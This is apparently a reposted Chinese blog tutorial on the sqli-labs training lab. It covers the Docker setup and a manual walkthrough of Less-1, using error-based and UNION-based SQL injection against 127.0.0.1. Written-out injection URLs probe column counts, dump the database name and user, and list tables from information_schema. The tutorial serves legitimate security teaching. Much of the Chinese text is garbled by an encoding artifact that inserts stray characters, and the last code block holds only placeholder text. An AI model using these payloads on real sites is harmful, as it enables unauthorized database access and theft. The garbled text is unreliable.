摘要:當(dāng)后面的數(shù)字大于表的列數(shù)時就會報錯訪問頁面正常,訪問頁面異常所以這個表有個字段。聯(lián)合查詢獲取信息運(yùn)算符可以將兩個或兩個以上語句的查詢結(jié)果集合合并成一個結(jié)果集合顯示,即執(zhí)行聯(lián)合查詢。
sqli-labs靶機(jī)搭建
docker部署:
</>復(fù)制代碼
docker pull acgpiano/sqli-labs
docker run -d -p 80:80 acgpiano/sqli-labs
訪問127.0.0.1后,點擊Setup/reset Database for labs
Less-1 GET - Error based - Single quotes - String(基于錯誤的GET單引號字符型注入)
基于報錯--猜解SQL語句訪問http://127.0.0.1/Less-1/?id=1"報錯:
</>復(fù)制代碼
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""1"" LIMIT 0,1" at line 1
由"1"" LIMIT 0,1猜測SQL語句:
</>復(fù)制代碼
SELECT ... FROM ... WHERE id="1" LIMIT 0,1
//源代碼中
SELECT * FROM users WHERE id="$id" LIMIT 0,1
手工注入
0x01 order by猜解表的列數(shù)
</>復(fù)制代碼
SELECT * FROM users WHERE id="1" order by 1 -- " LIMIT 0,1
這個SQL語句的意思是查詢users表中id為1的數(shù)據(jù)并按第一字段排行。當(dāng)order by后面的數(shù)字大于表的列數(shù)時就會報錯
訪問http://127.0.0.1/Less-1/?id=1" order by 3--+頁面正常,
訪問http://127.0.0.1/Less-1/?id=1" order by 4--+頁面異常:
所以users這個表有3個字段。
union 運(yùn)算符可以將兩個或兩個以上 select 語句的查詢結(jié)果集合合并成一個結(jié)果集合顯示,即執(zhí)行聯(lián)合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數(shù)相同,這就是為什么要先猜解列數(shù)。
查看回顯位:
2、3處回顯
</>復(fù)制代碼
http://127.0.0.1/Less-1/?id=-1" UNION SELECT 1,2,3 --+
獲取數(shù)據(jù)
</>復(fù)制代碼
version() #MySQL版本
user() #數(shù)據(jù)庫用戶名
database() #數(shù)據(jù)庫名
@@datadir #數(shù)據(jù)庫路徑
@@version_compile_os #操作系統(tǒng)版本
</>復(fù)制代碼
http://127.0.0.1/Less-1/?id=-1" UNION SELECT 1,database(),user() --+
得到數(shù)據(jù)庫名字security,用戶root@localhost
</>復(fù)制代碼
http://127.0.0.1/Less-1/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
得到各表名
</>復(fù)制代碼
請輸入代碼
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://specialneedsforspecialkids.com/yun/31803.html
閱讀 545·2021-08-31 09:45
閱讀 1652·2021-08-11 11:19
閱讀 889·2019-08-30 15:55
閱讀 828·2019-08-30 10:52
閱讀 2852·2019-08-29 13:11
閱讀 2932·2019-08-23 17:08
閱讀 2841·2019-08-23 15:11
閱讀 3071·2019-08-23 14:33